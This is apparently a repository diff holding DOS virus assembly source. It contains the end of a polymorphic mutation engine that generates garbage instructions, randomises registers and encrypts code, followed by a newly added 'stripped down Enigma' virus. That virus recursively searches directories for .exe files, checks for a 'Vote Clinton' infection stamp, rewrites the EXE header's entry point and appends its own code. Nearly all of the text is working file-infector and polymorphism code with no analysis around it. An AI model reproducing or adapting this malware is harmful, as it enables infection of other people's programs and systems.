call boolean ; sign extend?
|
||||
jnz modify_reg_nosign
|
||||
cmp dx,7fh ; possible to sign extend?
|
||||
jbe modify_sign
|
||||
cmp dx,-80h
|
||||
jb modify_reg_nosign
|
||||
modify_sign: or ah,2 ; sign extend
|
||||
modify_reg_nosign:
|
||||
xchg al,ah
|
||||
stosw
|
||||
test al,2 ; sign extended?
|
||||
xchg dx,ax
|
||||
je modify_sto
|
||||
stosb
|
||||
jmp modify_exit
|
||||
|
||||
;=====( ADD reg(ax), value(dx) )=============================================;
|
||||
|
||||
add_reg: push ax bx cx dx
|
||||
cbw
|
||||
mov cx,dx
|
||||
add_loop: mov bx,3
|
||||
call random_bx ; 1 in 4 chance of ADD/SUB
|
||||
jz add_noinc
|
||||
mov bx,40c0h ; INC reg
|
||||
test bp,200h ; keychange running?
|
||||
jz add_nosave
|
||||
mov ds:modify_op,05h ; ADD AX,
|
||||
add_nosave: cmp cx,3h ; too high to INC?
|
||||
jb add_inc
|
||||
neg cx
|
||||
cmp cx,3h ; too low to DEC?
|
||||
ja add_noinc
|
||||
mov bx,48c0h + (1 shl 3) ; DEC reg
|
||||
test bp,200h
|
||||
jz sub_nosave
|
||||
mov ds:modify_op,2dh ; SUB AX,
|
||||
sub_nosave: inc dx
|
||||
inc cx
|
||||
cmp ax,0
|
||||
org $ - 2
|
||||
add_inc: dec dx
|
||||
dec cx
|
||||
push ax
|
||||
mov ax,5
|
||||
call random ; 1 in 6 chance of FF
|
||||
pop ax
|
||||
push ax
|
||||
jnz add_inc_40
|
||||
mov ah,0ffh
|
||||
xchg bl,bh
|
||||
xchg al,ah ; AL=ff AH=Reg
|
||||
stosb
|
||||
xchg al,ah
|
||||
add_inc_40: or al,bh ; set DEC/INC
|
||||
stosb
|
||||
pop ax
|
||||
call garble
|
||||
or dx,dx ; all done?
|
||||
jnz add_loop
|
||||
add_reg_exit: jmp modify_pop
|
||||
|
||||
add_noinc: call boolean ; ADD or SUB?
|
||||
jz sub_reg
|
||||
jmp modify_reg_add
|
||||
|
||||
sub_reg: test bp,200h ; keychange?
|
||||
jnz sub_reg_key
|
||||
neg dx
|
||||
sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB
|
||||
call boolean ; use SBB?
|
||||
jz sbb_reg
|
||||
jmp modify_reg_cont
|
||||
|
||||
sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB
|
||||
jmp modify_reg_clc
|
||||
|
||||
;=====( clear carry flag )===================================================;
|
||||
|
||||
clear_carry: push ax bp
|
||||
or bp,800h ; don't change flags
|
||||
mov al,0f8h ; CLC
|
||||
call boolean
|
||||
jnz clear_carry_clc
|
||||
mov ax,0f5f9h ; STC/CMC
|
||||
stosb
|
||||
call garble
|
||||
xchg al,ah
|
||||
clear_carry_clc:stosb
|
||||
call garble
|
||||
pop bp ax
|
||||
retn
|
||||
|
||||
garble: push ax
|
||||
mov ax,2
|
||||
call random ; how many times to call?
|
||||
xchg cx,ax
|
||||
jcxz garble_exit
|
||||
garble_loop: call garble1
|
||||
loop garble_loop
|
||||
garble_exit: xchg cx,ax
|
||||
pop ax
|
||||
retn
|
||||
|
||||
;=====( add garbage code )===================================================;
|
||||
|
||||
garble1: push ax bx cx dx bp
|
||||
test bp,100h ; Garble already executing?
|
||||
jnz garble_ret
|
||||
and bp,not 200h ; keychange not executing
|
||||
or bp,100h ; Garble executing
|
||||
call boolean
|
||||
jnz garble_ret
|
||||
mov cl,3
|
||||
call random_1
|
||||
xchg dx,ax ; DX=random number
|
||||
call get_reg ; get register
|
||||
jc garble_ret
|
||||
mov bx,6
|
||||
test bp,800h ; flag change allowed?
|
||||
jz garble_f
|
||||
mov bl,2
|
||||
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
|
||||
jnz garble_xchg
|
||||
or ah,89h
|
||||
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
|
||||
jz garble_reg_reg
|
||||
or ah,2 ; 8b
|
||||
xchg al,dl
|
||||
garble_reg_reg: and dl,7 ; Get register values only
|
||||
and al,7
|
||||
shl dl,cl
|
||||
or al,0c0h ; MOV reg1, random reg
|
||||
or al,dl
|
||||
xchg al,ah
|
||||
stosw
|
||||
garble_ret: pop bp
|
||||
jmp modify_pop
|
||||
|
||||
garble_xchg: dec bx
|
||||
jnz garble_1byte
|
||||
xchg dx,ax
|
||||
call get_reg ; get another reg
|
||||
jc garble_ret
|
||||
xchg dx,ax ; AL=reg1 DL=reg2
|
||||
call boolean
|
||||
jnz garble_xchgnoax
|
||||
or dl,dl ; AX?
|
||||
jz garble_xchgax
|
||||
or al,al
|
||||
jz garble_xchgax
|
||||
garble_xchgnoax:or ah,87h ; XCHG reg1,
|
||||
jmp garble_reg_reg
|
||||
|
||||
garble_xchgax: or al,90h
|
||||
or al,dl ; XCHG AX, reg
|
||||
garble_stosb: stosb
|
||||
jmp garble_ret
|
||||
|
||||
garble_1byte: dec bx
|
||||
jnz garble_modify
|
||||
mov al,4
|
||||
call random
|
||||
mov bx,offset garble_1byte_tbl
|
||||
xlat ; get 1 byte instruction
|
||||
jmp garble_stosb
|
||||
|
||||
garble_modify: dec bx
|
||||
jnz garble_add
|
||||
call modify_reg ; ADD/XOR/OR reg1, random #
|
||||
jmp garble_ret
|
||||
|
||||
garble_add: dec bx
|
||||
jnz garble_mov
|
||||
call add_reg ; ADD/SUB reg1, random #
|
||||
jmp garble_ret
|
||||
|
||||
garble_mov: dec bx
|
||||
jnz garble_op
|
||||
call mov_reg ; MOV reg1, random #
|
||||
jmp garble_ret
|
||||
|
||||
garble_op: and dh,00111000b ; get rnd op
|
||||
mov ah,1
|
||||
or ah,dh
|
||||
jmp garble_reg_set
|
||||
|
||||
garble_1byte_tbl:
|
||||
db 2eh
|
||||
db 36h
|
||||
cld
|
||||
std
|
||||
sti
|
||||
|
||||
;=====( Is BP a Pointer? )===================================================;
|
||||
|
||||
is_bp_ptr: cmp ds:ptr_reg,_bp
|
||||
je bp_is_ptr
|
||||
cmp ds:ptr_reg1,_bp
|
||||
bp_is_ptr: retn
|
||||
|
||||
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
|
||||
|
||||
get_ptr_regnext:call del_reg ; restore register to pool
|
||||
|
||||
get_ptr_reg: call get_reg ; get register
|
||||
cmp al,_bx
|
||||
je got_ptr_reg
|
||||
cmp al,_bp
|
||||
jb get_ptr_regnext
|
||||
got_ptr_reg: retn
|
||||
|
||||
;=====( return random register in AL )=======================================;
|
||||
|
||||
get_reg: test bp,11101111b ; any registers free?
|
||||
stc
|
||||
jz get_reg_exit
|
||||
get_reg_loop: mov ax,7
|
||||
call random
|
||||
push ax
|
||||
cbw
|
||||
call conv_num ; convert to bit map
|
||||
test bp,ax ; is register free?
|
||||
pushf
|
||||
not ax
|
||||
and bp,ax ; mark register
|
||||
popf
|
||||
pop ax
|
||||
jz get_reg_loop
|
||||
get_reg_exit: retn
|
||||
|
||||
;=====( Restore register to pool )===========================================;
|
||||
|
||||
del_reg: push ax
|
||||
cbw
|
||||
call conv_num ; convert to bit number
|
||||
or bp,ax ; restore register
|
||||
pop ax
|
||||
retn
|
||||
|
||||
;=====( convert number to bit map )==========================================;
|
||||
|
||||
conv_num: push cx
|
||||
mov cl,al
|
||||
mov al,1
|
||||
shl al,cl
|
||||
pop cx
|
||||
retn
|
||||
|
||||
;=====( randomize order of BX/CX/DX/SI, then call )==========================;
|
||||
|
||||
order: call garble
|
||||
mov ax,2
|
||||
call random
|
||||
xchg cx,ax
|
||||
inc cx
|
||||
order_loop: call boolean
|
||||
jnz order1
|
||||
xchg bx,ax
|
||||
order1: call boolean
|
||||
jnz order2
|
||||
xchg dx,ax
|
||||
order2: call boolean
|
||||
jnz order3
|
||||
xchg si,ax
|
||||
order3: loop order_loop
|
||||
push si dx bx ax
|
||||
order_ret: retn
|
||||
|
||||
;=====( return random number between 0 and ffff in bx )======================;
|
||||
|
||||
random_bx: xchg bx,ax
|
||||
call random
|
||||
xchg bx,ax
|
||||
retn
|
||||
|
||||
;=====( flip Sign bit )======================================================;
|
||||
|
||||
boolean: push ax
|
||||
mov ax,1
|
||||
call random
|
||||
pop ax
|
||||
retn
|
||||
|
||||
;=====( return random number between 0 and ffff )============================;
|
||||
|
||||
random_1: mov ax,-1
|
||||
|
||||
;=====( Generate random number between 0 and AX )============================;
|
||||
|
||||
random: push ds bx cx dx ax
|
||||
xor ax,ax
|
||||
int 1ah
|
||||
push cs
|
||||
pop ds
|
||||
in al,40h
|
||||
xchg cx,ax
|
||||
xchg dx,ax
|
||||
mov bx,offset ran_num
|
||||
xor ds:[bx],ax
|
||||
rol word ptr ds:[bx],cl
|
||||
xor cx,ds:[bx]
|
||||
rol ax,cl
|
||||
xor dx,ds:[bx]
|
||||
ror dx,cl
|
||||
xor ax,dx
|
||||
imul dx
|
||||
xor ax,dx
|
||||
xor ds:[bx],ax
|
||||
pop cx
|
||||
xor dx,dx
|
||||
inc cx
|
||||
je random_ret
|
||||
div cx
|
||||
xchg ax,dx
|
||||
random_ret: pop dx cx bx ds
|
||||
or ax,ax
|
||||
retn
|
||||
|
||||
ran_num dw ?
|
||||
|
||||
;=====( Encrypts the code/writes it/decrypts code )==========================;
|
||||
|
||||
encode: mov bx,ds:handle
|
||||
mov ax,0
|
||||
key = word ptr $ - 2
|
||||
mov cx,(decrypt-v_start)/2
|
||||
xor di,di
|
||||
encode_break: clc
|
||||
clc
|
||||
clc
|
||||
clc ; XCHG CX,AX XCHG CX,AX
|
||||
clc
|
||||
clc ; CLC ADD AX,xxxx / XOR [DI],AX
|
||||
clc
|
||||
clc ; XOR [DI],AX / CLC ADD AX,xxxx
|
||||
inc di
|
||||
inc di
|
||||
loop encode_break
|
||||
encode_ret = byte ptr $
|
||||
mov ah,40h
|
||||
mov cx,file_size
|
||||
cwd
|
||||
pushf
|
||||
call cs:int_21
|
||||
jc encode_flag
|
||||
sub ax,cx
|
||||
encode_flag: pushf
|
||||
pop bp
|
||||
mov word ptr ds:[si],0
|
||||
encode_flip = word ptr $ - 2
|
||||
mov byte ptr ds:write_buff[encode_ret-encode],0c3h
|
||||
jmp encode
|
||||
encode_end:
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,979 @@
|
|||
code segment
|
||||
assume cs:code
|
||||
|
||||
;A stripped down Enigma.
|
||||
|
||||
data_area struc ;Define a pattern for working data
|
||||
;area
|
||||
DS_save dw ?
|
||||
ES_save dw ?
|
||||
IP_save dw ?
|
||||
CS_save dw ?
|
||||
SS_save dw ?
|
||||
filematch db '*.exe',00h ;Names for files to infect
|
||||
matchall db '*.*',00h ;needed for the matching procedure
|
||||
infected dw 00h ;A very useful flag
|
||||
help_flag dw 00h ;These two flags are needed to
|
||||
where_from_flag dw 00h ;determine if virus is free running
|
||||
;or from an infected program
|
||||
;therefore it's very important
|
||||
;that where_from_flag value
|
||||
;is set to zero at assembly time
|
||||
handle dw ?
|
||||
ip_old dw ? ;old instruction pointer
|
||||
cs_old dw ? ;old value of code segment
|
||||
ss_old dw ?
|
||||
far_push dw ?
|
||||
save_push dw ?
|
||||
buffer1 db '\',63 dup (?)
|
||||
virus_stamp db 'Vote Clinton' ;Very hard to obtain in
|
||||
;a random way
|
||||
|
||||
question db 'Press any key to continue...$'
|
||||
buffer2 db 2b0h dup (?)
|
||||
new_area db 64 dup (?)
|
||||
new_data db 64 dup (?)
|
||||
pointer1 dw ?
|
||||
pointer2 dw ?
|
||||
pointer3 dw ?
|
||||
pointer4 dw ?
|
||||
pointer5 dw ?
|
||||
pointer6 dw ?
|
||||
pointer7 dw ?
|
||||
pointer8 dw ?
|
||||
|
||||
data_area ends
|
||||
|
||||
org 100h ;Defined for .com file as virus must
|
||||
;be able to run on itself
|
||||
start: call setup_data ;This is a near call therefore it's a
|
||||
;three byte instruction.It's purpose is
|
||||
;to catch correct data area address
|
||||
;even when virus is appended to the
|
||||
;infected .exe program
|
||||
adjust equ offset pgm_start ;Known offset value
|
||||
pgm_start label word ;
|
||||
|
||||
virussize equ 2793
|
||||
|
||||
work: mov ax,ds ;Save old DS
|
||||
push cs
|
||||
pop ds ;Update to needed DS value
|
||||
mov si,offset buffer.DS_save ;Put old DS in a quiet place
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
|
||||
mov si,offset buffer.ES_save ;Save it because Get DTA side effects
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
push cs ;Imperative because DI usage
|
||||
pop es
|
||||
|
||||
push bx ;It's imperative to always keep
|
||||
;this value unchanged
|
||||
mov ax,2f00h ;Get DTA function call
|
||||
int 21h
|
||||
|
||||
mov cx,bx ;save address found
|
||||
pop bx
|
||||
mov si,offset buffer.pointer1
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],cx
|
||||
add si,2 ;Locate the segment immediately above
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset buffer.buffer1 ;adjust for first search
|
||||
inc di ;Jump over the '\'
|
||||
sub di,adjust
|
||||
add di,bx
|
||||
mov dx,0000h
|
||||
push bx
|
||||
call search_exe
|
||||
pop bx
|
||||
mov si,offset buffer.where_from_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
cmp word ptr [si],0000h
|
||||
jnz infected_run
|
||||
int 020H
|
||||
|
||||
infected_run:
|
||||
mov si,offset buffer.pointer1
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov dx,[si]
|
||||
push ds
|
||||
mov ax,[si+2]
|
||||
mov ds,ax
|
||||
push bx
|
||||
mov ax,1a00h
|
||||
int 21h
|
||||
pop bx
|
||||
pop ds ;Restore original DTA
|
||||
|
||||
mov si,offset buffer.ES_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov es,ax ;Restore ES
|
||||
|
||||
call ask_question
|
||||
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov dx,[si+2]
|
||||
mov si,offset buffer.far_push ;Restore original code
|
||||
sub si,adjust ;segment
|
||||
add si,bx
|
||||
mov cx,[si]
|
||||
push ax
|
||||
mov ax,cs
|
||||
sub ax,cx
|
||||
mov di,ax ;For stack
|
||||
add dx,ax
|
||||
pop ax
|
||||
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust ;Restore stack segment
|
||||
add si,bx
|
||||
mov cx,word ptr [si]
|
||||
add cx,di
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
cli
|
||||
mov ss,cx
|
||||
sti
|
||||
|
||||
|
||||
push dx
|
||||
push ax
|
||||
ret far
|
||||
|
||||
|
||||
search_exe PROC
|
||||
|
||||
push si
|
||||
push dx
|
||||
call transfer_filespec ;transfer filename in another
|
||||
;working area
|
||||
call find_first ;try to find a first match
|
||||
jc not_here ;first match not found
|
||||
call try_to_infect ;if found try to infect
|
||||
;infected != 0 if success
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
jz try_next
|
||||
jmp quiet_exit
|
||||
|
||||
try_next:
|
||||
call find_next ;If infection was not succesful
|
||||
;try once more
|
||||
jc not_here
|
||||
|
||||
call try_to_infect ;If match found try to infect
|
||||
mov si,offset buffer.infected ;again
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
jz try_next
|
||||
|
||||
jmp quiet_exit ;quiet exit simply jumps
|
||||
;to a return instruction
|
||||
not_here:
|
||||
pop dx ;If first searches are
|
||||
push dx ;unsuccesful try a '*.*' match
|
||||
call search_all
|
||||
call find_first
|
||||
jnc attribute_test ;i.e. expect probably to
|
||||
;find a subdirectory
|
||||
quiet_exit:
|
||||
pop dx
|
||||
pop si
|
||||
ret
|
||||
|
||||
attribute_test:
|
||||
mov si,dx ;offset of DTA
|
||||
test byte ptr [si+015h],010h ;where attribute byte is to
|
||||
;be found.Try first with
|
||||
;subdirectory attribute
|
||||
jne dir_found ;subdirectory found
|
||||
more_tries:
|
||||
call find_next ;Since the search was initiated
|
||||
;with '*.*' if this is not a
|
||||
;directory try to found one
|
||||
jc quiet_exit ;No sense to search more
|
||||
|
||||
test byte ptr [si+015h],010h
|
||||
jz more_tries ;Search to the end
|
||||
dir_found:
|
||||
cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
|
||||
;mark '.'
|
||||
jz more_tries ;looking for files no
|
||||
;subdirectories
|
||||
|
||||
call dta_compute ;Valid entry, now set some DTA
|
||||
;and continue to search
|
||||
push ax
|
||||
mov ah,01Ah ;Set DTA function call
|
||||
int 021h
|
||||
pop ax
|
||||
push si
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
pop si
|
||||
jnz quiet_exit
|
||||
|
||||
jmp more_tries
|
||||
|
||||
|
||||
search_exe ENDP
|
||||
|
||||
dta_compute PROC
|
||||
|
||||
push di ;Save some registers
|
||||
push si
|
||||
push ax
|
||||
push bx
|
||||
cld ;Up count for SI,DI pair
|
||||
mov si,dx ;DTA address to SI
|
||||
add si,01EH ;and add subdirectory
|
||||
;name offset
|
||||
|
||||
store_loop:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jne store_loop ;store loop
|
||||
|
||||
std
|
||||
stosb
|
||||
mov al,05Ch ;Put in place the path name
|
||||
;constructor
|
||||
|
||||
stosb
|
||||
add di,2 ;Adjust di for new searches
|
||||
call search_exe ;
|
||||
;a heavily recursion
|
||||
;
|
||||
pop bx ;some cleanup and exit
|
||||
;
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
ret
|
||||
|
||||
dta_compute ENDP
|
||||
|
||||
try_to_infect PROC
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
|
||||
push es
|
||||
push bx
|
||||
mov ax,2f00h ;Get DTA function call
|
||||
int 21h
|
||||
mov ax,bx
|
||||
pop bx
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax ;Offset saved
|
||||
add si,2
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
pop es ;Segment located just above
|
||||
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
push bx
|
||||
mov ax,1a00h
|
||||
int 21h ;Set DTA function call
|
||||
pop bx ;It's very important to
|
||||
;save BX in all calls
|
||||
|
||||
mov di,offset buffer.new_area
|
||||
mov si,offset buffer.buffer1
|
||||
sub di,adjust
|
||||
sub si,adjust
|
||||
add di,bx
|
||||
add si,bx
|
||||
|
||||
cld ;Move previously found path-
|
||||
;name or filename to new
|
||||
;data area
|
||||
move_path:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jnz move_path
|
||||
std ;adjust DI to recieve
|
||||
mov al,'\' ;filename.
|
||||
mov cx,0040h
|
||||
std ;Search backward
|
||||
repne scasb
|
||||
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov si,ax
|
||||
add di,2
|
||||
|
||||
o_kay:
|
||||
add si,001eh ;The beginning of the
|
||||
;filename...
|
||||
cld ;Now move name
|
||||
|
||||
move_fnm:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jnz move_fnm
|
||||
|
||||
push dx
|
||||
push bx
|
||||
mov dx,offset buffer.new_area
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov ax,3d02h ;Open file with handle
|
||||
;for read/write
|
||||
int 21h
|
||||
pop bx
|
||||
pop dx
|
||||
jnc go_ahead ;In case file cannot be opened
|
||||
jmp error_exit
|
||||
|
||||
go_ahead:
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax ;Save handle
|
||||
|
||||
push bx
|
||||
mov bx,ax ;Prepare for lseek
|
||||
push dx
|
||||
mov cx,0000h ;Look at the end of the file
|
||||
mov dx,0000h ;Offset of -12 from the end
|
||||
;of the file
|
||||
mov ax,4202h ;Lseek function call
|
||||
int 21h
|
||||
mov cx,dx
|
||||
pop dx
|
||||
pop bx
|
||||
jnc compute_length
|
||||
jmp close_error
|
||||
|
||||
compute_length:
|
||||
|
||||
sub ax,000ch
|
||||
sbb cx,0000h ;Exact position
|
||||
|
||||
|
||||
save_offset: ;
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
add si,2
|
||||
mov [si],cx
|
||||
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov dx,ax
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc set_buffer
|
||||
jmp close_error
|
||||
|
||||
set_buffer:
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,000ch
|
||||
mov ax,3f00h
|
||||
int 21h ;Read function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc read_ok
|
||||
jmp close_error
|
||||
|
||||
read_ok:
|
||||
mov si,offset buffer.virus_stamp
|
||||
mov di,offset buffer.new_data
|
||||
sub si,adjust
|
||||
sub di,adjust
|
||||
add si,bx
|
||||
add di,bx
|
||||
mov cx,12 ;Length of strings to
|
||||
;compare
|
||||
repe cmpsb
|
||||
pushf
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],0000h
|
||||
popf
|
||||
jnz infect_it
|
||||
|
||||
close_error:
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
push bx
|
||||
mov bx,[si]
|
||||
mov ax,3e00h ;Close file function call
|
||||
int 21h
|
||||
pop bx
|
||||
jmp error_exit
|
||||
|
||||
infect_it:
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],7777h
|
||||
|
||||
mov si,offset buffer.where_from_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
sub si,2
|
||||
mov [si],ax ;This code effectively moves
|
||||
;where_from_flag into help_flag
|
||||
|
||||
add si,2
|
||||
mov [si],5a5ah ;Ready to infect
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc set_new_data
|
||||
jmp append_ok
|
||||
|
||||
set_new_data:
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,001bh ;Read formatted exe header
|
||||
mov ax,3f00h
|
||||
int 21h ;Read function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc read_header
|
||||
jmp append_ok
|
||||
|
||||
read_header:
|
||||
nop ;some code to modify header
|
||||
;
|
||||
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
add si,2
|
||||
add ax,0ch
|
||||
adc word ptr [si],0000h
|
||||
sub si,2
|
||||
mov [si],ax ;This code restores original
|
||||
;filelength
|
||||
|
||||
mov si,offset buffer.new_data
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
cmp ax,5a4dh ;check for valid exe file
|
||||
jz valid_exe
|
||||
jmp append_ok
|
||||
|
||||
valid_exe:
|
||||
mov ax,[si+8] ;Load module size
|
||||
xor dx,dx
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 16
|
||||
|
||||
push ax
|
||||
push dx ;Adjust new size
|
||||
push cx
|
||||
mov dx,virussize-896+64
|
||||
push dx
|
||||
mov cx,0009h
|
||||
shr dx,cl
|
||||
add word ptr [si+4],dx
|
||||
pop dx
|
||||
and dx,01ffh
|
||||
add dx,word ptr [si+2]
|
||||
cmp dx,512
|
||||
jl adjust_okay
|
||||
sub dx,512
|
||||
inc word ptr [si+4]
|
||||
adjust_okay:
|
||||
mov word ptr [si+2],dx
|
||||
pop cx
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
|
||||
push si ;This SI is very useful so save it
|
||||
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
sub [si],ax
|
||||
mov ax,[si]
|
||||
sbb [si+2],dx
|
||||
mov dx,[si+2] ;the byte size of the load module
|
||||
|
||||
|
||||
pop si
|
||||
push ax
|
||||
push dx
|
||||
mov ax,[si+14h]
|
||||
mov dx,[si+16h] ;Get CS:IP value
|
||||
mov cx,[si+0eh] ;Get SS value
|
||||
push si
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],ax
|
||||
xchg [si+2],dx
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],cx
|
||||
mov si,offset buffer.ip_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
mov [si+2],dx
|
||||
mov si,offset buffer.ss_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],cx
|
||||
pop si
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
push ax
|
||||
push dx
|
||||
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 16
|
||||
|
||||
mov cx,0008h
|
||||
shl dx,cl
|
||||
mov cx,0004h
|
||||
shr ax,cl ;A very obscure algorithm to make
|
||||
;a segment:offset pair
|
||||
mov [si+14h],ax
|
||||
mov [si+16h],dx ;Infected values
|
||||
|
||||
push si
|
||||
mov si,offset buffer.far_push
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],dx
|
||||
mov word ptr [si+2],dx
|
||||
pop si
|
||||
|
||||
pop dx
|
||||
pop ax
|
||||
add ax,virussize ;
|
||||
adc dx,0000h
|
||||
|
||||
mov cx,0003h
|
||||
mul_loop:
|
||||
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 4096
|
||||
loop mul_loop
|
||||
|
||||
or ax,ax
|
||||
jz exact_value
|
||||
inc dx
|
||||
exact_value:
|
||||
mov [si+0eh],dx ;Infected stack segment
|
||||
|
||||
;Write back infected header
|
||||
push si
|
||||
push bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov ax,5700h ;Get time function
|
||||
int 21h
|
||||
pop bx
|
||||
pop si
|
||||
jnc correct_time
|
||||
jmp append_ok1
|
||||
|
||||
correct_time:
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
jnc continue_infection
|
||||
jmp append_ok1
|
||||
|
||||
continue_infection:
|
||||
|
||||
push cx
|
||||
push dx
|
||||
push bx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,001bh ;Write infected exe header
|
||||
mov ax,4000h
|
||||
int 21h ;Write function call
|
||||
pop bx
|
||||
pop dx
|
||||
pop cx
|
||||
jnc glue_virus
|
||||
jmp append_ok1
|
||||
|
||||
glue_virus:
|
||||
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h ;From the end of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
jnc write_data
|
||||
jmp append_ok1
|
||||
|
||||
write_data:
|
||||
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
|
||||
push dx
|
||||
push cx
|
||||
|
||||
mov dx,bx
|
||||
sub dx,3 ;The starting three byte
|
||||
;call instruction
|
||||
push es
|
||||
push bx
|
||||
push dx
|
||||
push si
|
||||
mov ax,2f00h
|
||||
int 21h
|
||||
pop si
|
||||
pop dx
|
||||
|
||||
push es
|
||||
push bx
|
||||
|
||||
push si
|
||||
mov ax,1a00h
|
||||
